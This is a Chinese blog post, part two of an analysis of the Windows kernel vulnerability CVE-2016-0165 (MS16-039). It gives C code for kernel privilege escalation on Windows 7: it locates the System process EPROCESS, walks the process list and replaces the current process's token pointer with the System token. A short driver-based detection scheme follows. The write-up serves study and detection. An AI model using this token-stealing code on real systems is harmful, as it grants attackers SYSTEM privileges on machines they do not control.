【网络安全】从 CVE-2016-0165 漏洞 说起:分析、利用和检测(下)

本文详细分析了CVE-2016-0165漏洞,探讨了如何在Windows7x86SP1环境中构造漏洞利用和内核提权的代码,以及实现利用样本的检测逻辑。通过获取System进程的Token并替换当前进程的Token,实现权限提升。此外,文章还提出了简单的检测策略,通过在关键位置设置陷阱帧来检测利用此漏洞的样本。
摘要由CSDN通过智能技术生成

本文将对 CVE-2016-0165 (MS16-039) 漏洞进行一次简单的分析,并尝试构造其漏洞利用和内核提权验证代码,以及实现对应利用样本的检测逻辑。分析环境为 Windows 7 x86 SP1 基础环境的虚拟机,配置 1.5GB 的内存。

0x6 提权

前面的章节实现了由用户进程控制的任意内存地址读写的能力,接下来将通过该能力实现内核提权。提权,意味着进程特权级的提升,提权之后当前进程拥有的权限将高于提权之前,将可执行在原本特权级别下所无法执行的很多操作,并能够访问原本由于 ACL 或完整性校验机制限制所不能访问的特定文件、注册表或进程等对象。


Token

在 Windows 系统中的内核提权通常方法是将目标进程的 Token 结构数据或指针替换成 System 进程等系统进程的 Token 结构数据或指针。这样一来进程将以系统进程的身份执行任何行为,所有需要校验令牌的操作都将可以畅通无阻地进行。

第一步首先需要定位到 NT 执行体模块的内存地址。操作系统为我们提供了枚举内核模块的 EnumDeviceDrivers 函数。该函数用于获取系统中的所有设备驱动程序的加载地址。NT 执行体模块作为第一内核模块,其地址会出现在地址数组的第一个元素中。

DWORD_PTR
xxGetNtoskrnlAddress(VOID) {DWORD_PTR AddrList[500] = { 0 };DWORD cbNeeded = 0;EnumDeviceDrivers((LPVOID *)&AddrList, sizeof(AddrList), &cbNeeded);return AddrList[0];
} 

清单 6-1 获取内核执行体模块地址的验证代码片段

在 NT 执行体模块中存在 PsInitialSystemProcess 导出变量,在系统启动时 PspInitPhase0 函数执行期间该导出变量被赋值为 System 进程的 EPROCESS 地址。那么接下来只要获得 PsInitialSystemProcess 变量在 NT 执行体模块中的偏移,就可以计算出其在当前系统环境中的绝对线性地址。

DWORD_PTR
xxGetSysPROCESS(VOID) {DWORD_PTR Module = 0x00;DWORD_PTR NtAddr = 0x00;Module = (DWORD_PTR)LoadLibraryA("ntkrnlpa.exe");NtAddr = (DWORD_PTR)GetProcAddress((HMODULE)Module, "PsInitialSystemProcess");FreeLibrary((HMODULE)Module);NtAddr = NtAddr - Module;Module = xxGetNtoskrnlAddress();if (Module == 0x00){return 0x00;}NtAddr = NtAddr + Module;if (!xxPointToGet(NtAddr, &NtAddr, sizeof(DWORD_PTR))){return 0x00;}return NtAddr;
} 

清单 6-2 获取 System 进程 EPROCESS 对象基地址的验证代码

在当前 32 位的 Windows 7 操作系统环境下,由于是单核 CPU 并且支持 PAE 机制,所以系统加载的 NT 执行体是 ntkrnlpa.exe 模块。获得 PsInitialSystemProcess 变量的地址后,通过前面实现的任意内核地址读取功能获取该地址存储的数值,成功后就得到了 System 进程的进程体 EPROCESS 的基地址。

众所周知的是,在 Windows 操作系统中,所有的进程体 EPROCESS 对象以各自的 LIST_ENTRY ActiveProcessLinks 成员域首尾相接,成员域 ActiveProcessLinks.Flink 指向下一个进程 EPROCESS 对象的 ActiveProcessLinks 成员域首地址,ActiveProcessLinks.Blink 指向上一个进程 EPROCESS 对象的 ActiveProcessLinks 成员域首地址。像这样地,所有的进程组成一个庞大的环形双向链表。获得了 System 进程的 EPROCESS 对象基地址,就可以“顺藤摸瓜”找到当前进程的 EPROCESS 基地址。

kd> dt nt!_EPROCESS +0x000 Pcb: _KPROCESS +0x098 ProcessLock: _EX_PUSH_LOCK +0x0a0 CreateTime : _LARGE_INTEGER ... +0x0b4 UniqueProcessId: Ptr32 Void +0x0b8 ActiveProcessLinks : _LIST_ENTRY ... +0x0f8 Token: _EX_FAST_REF ... +0x16c ImageFileName: [15] UChar ... +0x2a8 TimerResolutionLink : _LIST_ENTRY +0x2b0 RequestedTimerResolution : Uint4B +0x2b4 ActiveThreadsHighWatermark : Uint4B +0x2b8 SmallestTimerResolution : Uint4B +0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD 

清单 6-3 在 WinDBG 中显示的 EPROCESS 结构

根据获取的各个成员域的偏移,通过 ActiveProcessLinks 成员的值获取下一个进程 EPROCESS 对象的 ActiveProcessLinks 成员域首地址就可以计算出 EPROCESS 的基地址。判断当前遍历到的 EPROCESS 对象 UniqueProcessId 成员域的值是否和当前进程的进程 ID 相等,如果相等就定位到了当前进程的 EPROCESS 节点。

DWORD_PTR
xxGetTarPROCESS(DWORD_PTR SysPROC) {if (SysPROC == 0x00){return 0x00;}DWORD_PTR point = SysPROC;DWORD_PTR value = 0x00;do{value = 0x00;xxPointToGet(point + off_EPROCESS_UniqueProId, &value, sizeof(DWORD_PTR));if (value == 0x00){break;}if (value == GetCurrentProcessId()){return point;}value = 0x00;xxPointToGet(point + off_EPROCESS_ActiveLinks, &value, sizeof(DWORD_PTR));if (value == 0x00){break;}point = value - off_EPROCESS_ActiveLinks;if (point == SysPROC){break;}} while (TRUE);return 0x00;
} 

清单 6-4 根据 System 进程获取当前进程 EPROCESS 的验证代码

获取到了 System 进程和当前进程的 EPROCESS 对象的地址,接下来就是对 Token 的替换了。有两种方法可选:一是将当前进程 EPROCESS 中存储的 Token 指针替换为 System 进程的 Token 指针,二是将当前进程 EPROCESS 的成员 Token 指针指向的 Token 块中的数据替换成 System 进程拥有的 Token 块的数据。在本分析中选择前一种方法。

进程 EPROCESS 对象的 Token 成员域是一个 _EX_FAST_REF 类型的成员,定义如下:

kd> dt _EX_FAST_REF
ntdll!_EX_FAST_REF +0x000 Object : Ptr32 Void +0x000 RefCnt : Pos 0, 3 Bits +0x000 Value: Uint4B 

数值的低 3 位表示引用计数,去除低 3 位数值后的 32 位完整数值指向实际表示的内存地址。

Token 结构中存储与当前进程相关的安全令牌的数据内容,如用户安全标识符(Sid),特权级(Privileges)等,代表当前进程作为访问者角色访问其他被访问对象时,访问权限和身份校验的依据。当前的 System 进程的 Token 结构块的数据如下:

kd> !token 89a01270
_TOKEN 0xffffffff89a01270
TS Session ID: 0
User: S-1-5-18
User Groups: 
 00 S-1-5-32-544Attributes - Default Enabled Owner 
 01 S-1-1-0Attributes - Mandatory Default Enabled 
 02 S-1-5-11Attributes - Mandatory Default Enabled 
 03 S-1-16-16384Attributes - GroupIntegrity GroupIntegrityEnabled 
Primary Group: S-1-5-18
Privs: 
 02 0x000000002 SeCreateTokenPrivilegeAttributes - 
 03 0x000000003 SeAssignPrimaryTokenPrivilege Attributes - 
 ...
 33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes - Enabled Default 
 34 0x000000022 SeTimeZonePrivilege Attributes - Enabled Default 
 35 0x000000023 SeCreateSymbolicLinkPrivilege Attributes - Enabled Default 
Authentication ID: (0,3e7)
Impersonation Level: Anonymous
TokenType: Primary
Source: *SYSTEM* TokenFlags: 0x2000 ( Token in use )
Token ID: 3eaParentToken ID: 0
Modified ID: (0, 3eb)
RestrictedSidCount: 0RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 0 

清单 6-5 System 进程的 Token 结构块的数据

在这里由于在提权完成后会将 Token 值替换回去,所以暂不关注 Token 指针的引用计数的增减。

BOOL
xxModifyTokenPointer(DWORD_PTR dstPROC, DWORD_PTR srcPROC) {if (dstPROC == 0x00 || srcPROC == 0x00){return FALSE;}// get target process original token pointerxxPointToGet(dstPROC + off_EPROCESS_Token, &dstToken, sizeof(DWORD_PTR));if (dstToken == 0x00){return FALSE;}// get system process token pointerxxPointToGet(srcPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR));if (srcToken == 0x00){return FALSE;}// modify target process token pointer to systemxxPointToHit(dstPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR));// just test if the modification is successfulDWORD_PTR tmpToken = 0x00;xxPointToGet(dstPROC + off_EPROCESS_Token, &tmpToken, sizeof(DWORD_PTR));if (tmpToken != srcToken){return FALSE;}return TRUE;
} 

清单 6-6 将目标进程 Token 指针替换为源进程 Token 指针的验证代码

提权成功后创建新的命令提示符进程作为后续行为执行进程,将 Token 替换回原来的值以保证释放进程 Token 时不会发生异常,当前进程的任务就完成了。接下来进行后续的善后操作,随后进程正常退出。

在新启动的命令提示符进程中使用 whoami 命令测试进程权属,可以观测到新启动的进程已属于 System 用户特权执行:

0x7 检测

根据该漏洞的利用机理,可实现代码对利用该漏洞的样本文件进行检测。该漏洞利用的检测逻辑相对比较简单,编写内核驱动程序并对在漏洞触发关键位置插入陷阱帧,将相关寄存器的值以参数的形式传入陷阱帧处理函数中,并在处理函数中判断寄存器的值是否满足漏洞触发条件。

本分析中使用的环境是 32 位 Windows 7 SP1 基础环境,其 win32k 模块的版本为 6.1.7601.17514。分配缓冲区内存之前的漏洞关键位置的汇编指令:

.text:00073FEAlea eax, [ecx+1]
.text:00073FEDimuleax, 28h
.text:00073FF0testeax, eax
.text:00073FF2jzshort loc_7400A
.text:00073FF4push6E677247h ; Tag
.text:00073FF9pusheax ; NumberOfBytes
.text:00073FFApush21h ; PoolType
.text:00073FFCcallds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x) 

清单 7-1 漏洞关键位置的汇编指令

检测逻辑以如下的伪代码做简单说明:

 ULONG tmp = ecx;tmp++;if (tmp < ecx){// hit vuln exploit}if ((ULONG)(tmp * 0x28) < tmp){// hit vuln exploit} 

清单 7-2 检测逻辑的伪代码

命中条件之后对命中的上下文相关数据依照个人意愿进行记录或传输。命中记录的示例:

0x8 链接

[0] 本分析的 POC 下载

github.com/leeqwind/Ho…

1 GDI Data Types

docs.microsoft.com/zh-cn/windo…

2 Windows GDI

msdn.microsoft.com/en-us/libra…

3 GDI Objects

msdn.microsoft.com/en-us/libra…

4 MS16-039 - “Windows 10” 64 bits Integer Overflow exploitation by using GDI objects

www.coresecurity.com/blog/ms16-0…

5 Abusing GDI for ring0 exploit primitives

www.coresecurity.com/blog/abusin…

[6] The Big Trick Behind Exploit MS12-034

www.coresecurity.com/blog/the-bi…

[7] windows_kernel_address_leaks

github.com/sam-b/windo…

[8] Pool Feng-Shui –> Pool Overflow

rootkits.xyz/blog/2017/1…

[9] Kernel Pool Exploitation on Windows 7

media.blackhat.com/bh-dc-11/Ma…

[10] SURFOBJ structure

msdn.microsoft.com/en-us/libra…

[11] THE BMP FILE FORMAT

www.ece.ualberta.ca/~elliott/ee…

[12] Microsoft 安全公告 MS16-039 - 严重

technet.microsoft.com/library/sec…

网络安全成长路线图

这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成hei客大神,这个方向越往后,需要学习和掌握的东西就会越来越多,以下是学习网络安全需要走的方向:

# 网络安全学习方法

​ 上面介绍了技术分类和学习路线,这里来谈一下学习方法:
​ ## 视频学习

​ 无论你是去B站或者是油管上面都有很多网络安全的相关视频可以学习,当然如果你还不知道选择那套学习,我这里也整理了一套和上述成长路线图挂钩的视频教程,完整版的视频已经上传至CSDN官方,朋友们如果需要可以点击这个链接免费领取。网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值